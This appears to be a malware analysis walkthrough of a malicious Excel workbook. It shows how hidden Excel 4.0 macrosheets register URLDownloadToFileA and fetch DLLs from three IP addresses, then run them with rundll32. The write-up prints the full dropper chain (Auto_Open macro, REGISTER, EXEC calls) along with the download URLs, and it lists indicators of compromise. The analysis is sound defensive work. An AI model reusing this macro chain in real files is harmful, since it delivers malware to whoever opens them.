Claim_732989680_03292021.xlsm

Author: Moise Medici

Last Update: 25 Oct 2025

Status: Completed

Difficulty: Easy

Malware Type:

Malicious Macros in Office Documents

Malware Capabilities:

Dropping Secondary Payloads

Tags:

vbscript
xml

File Info

File Name: Claim_732989680_03292021.xlsm
SHA256: 7152b279e52e2c6fc0f1cfdafcdccfb45285805de1600d47b28cddac9a1c2bb1
MD5: 3e8e9932f281a27ce1646f0fe6e79ed2
Size: 176609 bytes
Creation time: Sat 17 Jul 2021 22:39:22 UTC

Sample Download: Download sample
Original Download URL: https://app.any.run/tasks/0fcd59b0-3f5d-4cc7-87d7-b2f86f257a0d#

Executive Summary

This sample is a malicious document that hides its execution in a series of hidden Excel sheets. Its purpose is to download and execute 3 DLLs coming from 3 different IP addresses.

The purpose of the DLLs cannot be confirmed, as there is no connectivity to those IP addresses.

Technical Analysis Walkthrough

Code Analysis

A common starting point for analyzing an Office document is to examine the structure of the file. The command oledump.py -i shows each file “stream” (section). The tool shows an M next to the stream that has a macro embedded in it. In this case, the stream A3 contains a macro, and the section has a size of 1041 bytes. The size is not particularly relevant in this case, as there is only one macro, but it is useful when examining different streams: if one of them is particularly large, it might embed some obfuscated content.

1
$ oledump.py -i claim.xlsm
2
A: xl/vbaProject.bin
3
 A1:       529             'PROJECT'
4
 A2:        71             'PROJECTwm'
5
 A3: M    1041     919+122 'VBA/Module1'
6
 A4:      2596             'VBA/_VBA_PROJECT'
7
 A5:       549             'VBA/dir'
8
 A6: m     990             'VBA/Лист1'
9
 A7: m    1201             'VBA/ЭтаКнига'

The macro can be dumped with oledump -s <stream> -v. The full content of the macro is below, and everything that it does is execute the content of the Lof sheet in cell CD5 as soon as the file is opened. Note that specifying -s 3 or -s A3 is the same.

1
$ oledump.py -s 3 claim.xlsm  -v
2
Attribute VB_Name = "Module1"
3
Private Sub Auto_Open()
4
Application.Run Sheets("Lof").Range("CD5")
5
End Sub

Since .xlsm files are archives, they can be extracted with unzip:

1
$ unzip Claim_732989680_03292021.xlsm
2
Archive:  Claim_732989680_03292021.xlsm
3
  inflating: [Content_Types].xml
4
  inflating: _rels/.rels
5
  inflating: xl/workbook.xml
6
  inflating: xl/_rels/workbook.xml.rels
7
  inflating: xl/worksheets/sheet1.xml
8
  inflating: xl/macrosheets/sheet1.xml
9
  inflating: xl/macrosheets/sheet2.xml
10
  inflating: xl/macrosheets/sheet3.xml
11
  inflating: xl/theme/theme1.xml
12
  inflating: xl/styles.xml
13
  inflating: xl/sharedStrings.xml
14
  inflating: xl/drawings/drawing1.xml
15
 extracting: xl/media/image1.gif
16
  inflating: xl/vbaProject.bin
17
  inflating: xl/worksheets/_rels/sheet1.xml.rels
18
  inflating: xl/macrosheets/_rels/sheet2.xml.rels
19
  inflating: xl/macrosheets/_rels/sheet3.xml.rels
20
  inflating: xl/drawings/_rels/drawing1.xml.rels
21
  inflating: xl/printerSettings/printerSettings1.bin
22
  inflating: xl/printerSettings/printerSettings2.bin
23
  inflating: docProps/core.xml
24
  inflating: docProps/app.xml

From the unzipped files, there is no file named Lov. The relationship between the filename and the sheet needs to be found. There are two major file types that have been unzipped: the name.xml files and the relationships those files contain in name.xml.rels. Since the workbook is the container of all the sheets, the relationship between the internal ID and the file name is stored in the file containing the relationships for workbook.xml: xl/_rels/workbook.xml.rels

1
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2
<Relationships
3
    xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
4
    <Relationship Id="rId8" Type="http://schemas.microsoft.com/office/2006/relationships/vbaProject" Target="vbaProject.bin"/>
5
    <Relationship Id="rId3" Type="http://schemas.microsoft.com/office/2006/relationships/xlMacrosheet" Target="macrosheets/sheet2.xml"/>
6
    <Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings" Target="sharedStrings.xml"/>
7
    <Relationship Id="rId2" Type="http://schemas.microsoft.com/office/2006/relationships/xlMacrosheet" Target="macrosheets/sheet1.xml"/>
8
    <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
9
    <Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/>
10
    <Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/>
11
    <Relationship Id="rId4" Type="http://schemas.microsoft.com/office/2006/relationships/xlMacrosheet" Target="macrosheets/sheet3.xml"/>
12
</Relationships>

From xl/workbook.xml, the rId to sheet name relationship is:

1
<sheets>
2
    <sheet name="Sheet" sheetId="9" r:id="rId1"/>
3
    <sheet name="Lof" sheetId="2" state="hidden" r:id="rId2"/>
4
    <sheet name="Lov" sheetId="6" state="hidden" r:id="rId3"/>
5
    <sheet name="Lov2" sheetId="7" state="hidden" r:id="rId4"/>
6
</sheets>

So:

rId1 -> worksheets/sheet1.xml -> “Sheet”
rId2 -> macrosheets/sheet1.xml -> “Lof”
rId3 -> macrosheets/sheet2.xml -> “Lov”
rId4 -> macrosheets/sheet3.xml -> “Lov2”

Before examining each file, it can be useful to look into the xl/sharedString.xml file to understand some of the next files, since it contains all the strings that are shared across every file. The content of the file is:

1
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2
<sst
3
  xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="8" uniqueCount="8">
4
  <si>
5
    <t>uRlMon</t>
6
  </si>
7
  <si>
8
    <t>JJCCBB</t>
9
  </si>
10
  <si>
11
    <t>Belandes</t>
12
  </si>
13
  <si>
14
    <t>.dat</t>
15
  </si>
16
  <si>
17
    <t>JJCCJJ</t>
18
  </si>
19
  <si>
20
    <t>http://45.150.67.234/</t>
21
  </si>
22
  <si>
23
    <t>http://45.150.67.232/</t>
24
  </si>
25
  <si>
26
    <t>http://195.123.210.162/</t>
27
  </si>
28
</sst>

To understand how the file is used, it helps to first understand what it contains. Imagine it as a list of elements, each with an index and value like in the table below:

Index	Value
0	`uRlMon`
1	`JJCCBB`
2	`Belandes`
3	`.dat`
4	`JJCCJJ`
5	`http://45.150.67.234/`
6	`http://45.150.67.232/`
7	`http://195.123.210.162/`

When a sheet has a cell containing a value of type s, that is a shared string. The Office application will look up the index and replace it with the value in the table above. For example, this is cell CE270, which has style 1 (s="1", which is defined in xl/styles.xlm) and the type is a shared string (t="s"). The index is 0 as defined in <v>0</v>.

1
<c r="CE270" s="1" t="s">
2
  <v>0</v>
3
</c>

So starting from Lof, as shown by the Auto_Open macro, the content of the file is:

1
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2
<xm:macrosheet
3
  xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
4
  xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main"
5
  xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
6
  xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6"
7
  xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"
8
  xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision"
9
  xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2"
10
  xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3"
11
  xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{674A3FEE-4583-422B-936D-3862B5C011DB}">
12
  <dimension ref="CA266:CF283"/>
13
  <sheetViews>
14
    <sheetView showFormulas="1" workbookViewId="0"/>
15
  </sheetViews>
16
  <sheetFormatPr defaultColWidth="7.6640625" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/>
17
  <cols>
18
    <col min="1" max="77" width="7.6640625" style="1"/>
19
    <col min="78" max="78" width="7.6640625" style="1" customWidth="1"/>
20
    <col min="79" max="84" width="7.6640625" style="1" hidden="1" customWidth="1"/>
21
    <col min="85" max="16384" width="7.6640625" style="1"/>
22
  </cols>
23
  <sheetData>
24
    <row r="266" spans="81:83" x14ac:dyDescent="0.3">
25
      <c r="CD266" s="1">
26
        <f>NOW()</f>
27
        <v>44283.920335069444</v>
28
      </c>
29
    </row>
30
    <row r="267" spans="81:83" x14ac:dyDescent="0.3">
31
      <c r="CD267" s="1" t="b">
32
        <f>FORMULA.FILL("URLDownloadToFileA",CE271)</f>
33
        <v>0</v>
34
      </c>
35
    </row>
36
    <row r="268" spans="81:83" x14ac:dyDescent="0.3">
37
      <c r="CC268" s="1" t="str">
38
        <f>CONCATENATE(CC274,CD266,CC273)</f>
39
        <v>http://45.150.67.234/44283,9203350694.dat</v>
40
      </c>
41
    </row>
42
    <row r="269" spans="81:83" x14ac:dyDescent="0.3">
43
      <c r="CC269" s="1" t="str">
44
        <f>CONCATENATE(CC275,CD266,CC273)</f>
45
        <v>http://45.150.67.232/44283,9203350694.dat</v>
46
      </c>
47
      <c r="CD269" s="1" t="b">
48
        <f>REGISTER(CE270,CE271,CE269,CE273,,1,9)</f>
49
        <v>0</v>
50
      </c>
51
      <c r="CE269" s="1" t="s">
52
        <v>4</v>
53
      </c>
54
    </row>
55
    <row r="270" spans="81:83" x14ac:dyDescent="0.3">
56
      <c r="CC270" s="1" t="str">
57
        <f>CONCATENATE(CC276,CD266,CC273)</f>
58
        <v>http://195.123.210.162/44283,9203350694.dat</v>
59
      </c>
60
      <c r="CD270" s="1" t="b">
61
        <f>REGISTER(CE270,CE271,CE272,CE273,,1,9)</f>
62
        <v>0</v>
63
      </c>
64
      <c r="CE270" s="1" t="s">
65
        <v>0</v>
66
      </c>
67
    </row>
68
    <row r="271" spans="81:83" x14ac:dyDescent="0.3">
69
      <c r="CD271" s="1" t="e">
70
        <f>Belandes(0,CC268,"..\Hodas.vyur",0,0)</f>
71
        <v>#NAME?</v>
72
      </c>
73
    </row>
74
    <row r="272" spans="81:83" x14ac:dyDescent="0.3">
75
      <c r="CD272" s="1" t="e">
76
        <f>Belandes(0,CC269,"..\Hodas.vyur1",0,0)</f>
77
        <v>#NAME?</v>
78
      </c>
79
      <c r="CE272" s="1" t="s">
80
        <v>1</v>
81
      </c>
82
    </row>
83
    <row r="273" spans="81:83" x14ac:dyDescent="0.3">
84
      <c r="CC273" s="1" t="s">
85
        <v>3</v>
86
      </c>
87
      <c r="CD273" s="1" t="e">
88
        <f>Belandes(0,CC270,"..\Hodas.vyur2",0,0)</f>
89
        <v>#NAME?</v>
90
      </c>
91
      <c r="CE273" s="1" t="s">
92
        <v>2</v>
93
      </c>
94
    </row>
95
    <row r="274" spans="81:83" x14ac:dyDescent="0.3">
96
      <c r="CC274" s="1" t="s">
97
        <v>5</v>
98
      </c>
99
    </row>
100
    <row r="275" spans="81:83" x14ac:dyDescent="0.3">
101
      <c r="CC275" s="1" t="s">
102
        <v>6</v>
103
      </c>
104
    </row>
105
    <row r="276" spans="81:83" x14ac:dyDescent="0.3">
106
      <c r="CC276" s="1" t="s">
107
        <v>7</v>
108
      </c>
109
    </row>
110
    <row r="280" spans="81:83" x14ac:dyDescent="0.3">
111
      <c r="CD280" s="1" t="b">
112
        <f>EXEC("rundll32 "&amp;"..\Hodas.vyur"&amp;",DllRegisterServer")</f>
113
        <v>0</v>
114
      </c>
115
    </row>
116
    <row r="283" spans="81:83" x14ac:dyDescent="0.3">
117
      <c r="CD283" s="1" t="e">
118
        <f>GOTO(Lov!E4)</f>
119
        <v>#N/A</v>
120
      </c>
121
    </row>
122
  </sheetData>
123
  <pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/>
124
</xm:macrosheet>

At the top, there is a reference to URLDownloadToFileA, which is assigned to cell CE271. This means that every time CE271 appears in the file, it can be mentally replaced with URLDownloadToFileA.

1
<c r="CD267" s="1" t="b">
2
    <f>FORMULA.FILL("URLDownloadToFileA",CE271)</f>
3
    <v>0</v>
4
</c>

FORMULA.FILL is an Excel 4.0 Macro function. We have not been able to locate any official Microsoft documentation for this function and have therefore relied on the third-party reference provided in 1.

The CONCATENATE function observed in the file, as in the example below:

1
<row r="268" spans="81:83" x14ac:dyDescent="0.3">
2
    <c r="CC268" s="1" t="str">
3
        <f>CONCATENATE(CC274,CD266,CC273)</f>
4
        <v>http://45.150.67.234/44283,9203350694.dat</v>
5
    </c>
6
</row>

concatenates the values of three cells: CC274, CD266 and CC273:

1
<row r="274" spans="81:83" x14ac:dyDescent="0.3">
2
    <c r="CC274" s="1" t="s">
3
        <v>5</v>
4
    </c>
5
</row>
6

7
<c r="CD266" s="1">
8
    <f>NOW()</f>
9
    <v>44283.920335069444</v>
10
</c>
11

12
<c r="CC273" s="1" t="s">
13
    <v>3</v>
14
</c>

to create the following URL values:

http://45.150.67.234/44283,9203350694.dat in cell CC268
http://45.150.67.232/44283,9203350694.dat in cell CC269
http://195.123.210.162/44283,9203350694.dat in cell CC270

Tracking each URL one at a time, CC268 is called in:

1
<c r="CD271" s="1" t="e">
2
    <f>Belandes(0,CC268,"..\Hodas.vyur",0,0)</f>
3
    <v>#NAME?</v>
4
</c>

There’s a custom function called Belandes, and its purpose is currently unknown. It’s defined in the shared strings at index 2 (zero-based).

The file can be searched with grep to see if the string has been defined anywhere:

1
grep "<v>2</v>" xl/macrosheets/sheet1.xml

This appears in cell CE273:

1
<c r="CE273" s="1" t="s">
2
    <v>2</v>
3
</c>

The CE273 cell is then used in the REGISTER call:

1
<c r="CD269" s="1" t="b">
2
    <f>REGISTER(CE270,CE271,CE269,CE273,,1,9)</f>
3
    <v>0</v>
4
</c>

From the same source as FORMULA.FILL, the REGISTER signature was identified 2. The signature is defined as:

1
REGISTER(
2
    module_text,
3
    procedure,
4
    type_text,
5
    function_text,
6
    argument_text,
7
    macro_type,
8
    category,
9
    ...
10
)

With the values contained in each cell:

1
REGISTER(
2
    module_text = "URLMon",
3
    procedure = "URLDownloadToFileA",
4
    type_text = "JJCCJJ",
5
    function_text = "Belandes",
6
    argument_text = <empty>,
7
    macro_type = 1 (meaning that it is a function),
8
    category = 9,
9
    ...
10
)

This means that Belandes is a function defined to “rename” the URLDownloadToFileA Windows API. Looking at the API specification 3, the arguments are:

1
HRESULT URLDownloadToFile(
2
             LPUNKNOWN            pCaller,
3
             LPCTSTR              szURL,
4
             LPCTSTR              szFileName,
5
  _Reserved_ DWORD                dwReserved,
6
             LPBINDSTATUSCALLBACK lpfnCB
7
);

Specifically, szURL is a pointer to a string value containing the name or full path of the file to create for the download. Looking at when the custom function is called:

1
<f>Belandes(0,CC268,"..\Hodas.vyur",0,0)</f>
2
<f>Belandes(0,CC269,"..\Hodas.vyur1",0,0)</f>
3
<f>Belandes(0,CC270,"..\Hodas.vyur2",0,0)</f>

This shows that the file downloaded from each URL is saved locally:

http://45.150.67.234/44283,9203350694.dat is saved as ..\Hodas.vyur
http://45.150.67.232/44283,9203350694.dat is saved as ..\Hodas.vyur1
http://195.123.210.162/44283,9203350694.dat is saved as ..\Hodas.vyur2

The first file is then executed with rundll32:

1
<f>EXEC("rundll32 "&amp;"..\Hodas.vyur"&amp;",DllRegisterServer")</f>

Execution then proceeds to Lov.

The Lov sheet contains a straightforward execution of the second DLL:

1
<sheetData>
2
    <row r="6" spans="5:5" x14ac:dyDescent="0.3">
3
        <c r="E6" s="1" t="b">
4
            <f>EXEC("rundll32 "&amp;"..\Hodas.vyur1"&amp;",DllRegisterServer")</f>
5
            <v>0</v>
6
        </c>
7
    </row>
8
    <row r="8" spans="5:5" x14ac:dyDescent="0.3">
9
        <c r="E8" s="1" t="e">
10
            <f>GOTO('Lov2'!D4)</f>
11
            <v>#N/A</v>
12
        </c>
13
    </row>
14
</sheetData>

The GOTO then transfers execution to Lov2, which only executes the third DLL:

1
<sheetData>
2
    <row r="6" spans="4:4" x14ac:dyDescent="0.3">
3
        <c r="D6" s="1" t="b">
4
            <f>EXEC("rundll32 "&amp;"..\Hodas.vyur2"&amp;",DllRegisterServer")</f>
5
            <v>0</v>
6
        </c>
7
    </row>
8
    <row r="11" spans="4:4" x14ac:dyDescent="0.3">
9
        <c r="D11" s="1" t="b">
10
            <f>HALT()</f>
11
            <v>0</v>
12
        </c>
13
    </row>
14
</sheetData>

Indicators of Compromise

Domains and URLs:

http://45.150.67.232/44283,9203350694.dat
http://45.150.67.234/44283,9203350694.dat
http://195.123.210.162/44283,9203350694.dat

Local Files:

Hodas.vyur
Hodas.vyur1
Hodas.vyur2

Appendix

1 XLL Add-ins, "FORMULA.FILL macro". [Online]. Available: https://xlladdins.github.io/Excel4Macros/formula.fill.html. [Accessed: Nov. 16 2025]. ↩

2 XLL Add-ins, "REGISTER macro". [Online]. Available: https://xlladdins.github.io/Excel4Macros/register.html. [Accessed: Nov. 16 2025]. ↩

3 Microsoft, "URLDownloadToFile function". [Online]. Available: https://learn.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775123(v=vs.85). [Accessed: Nov. 16 2025]. ↩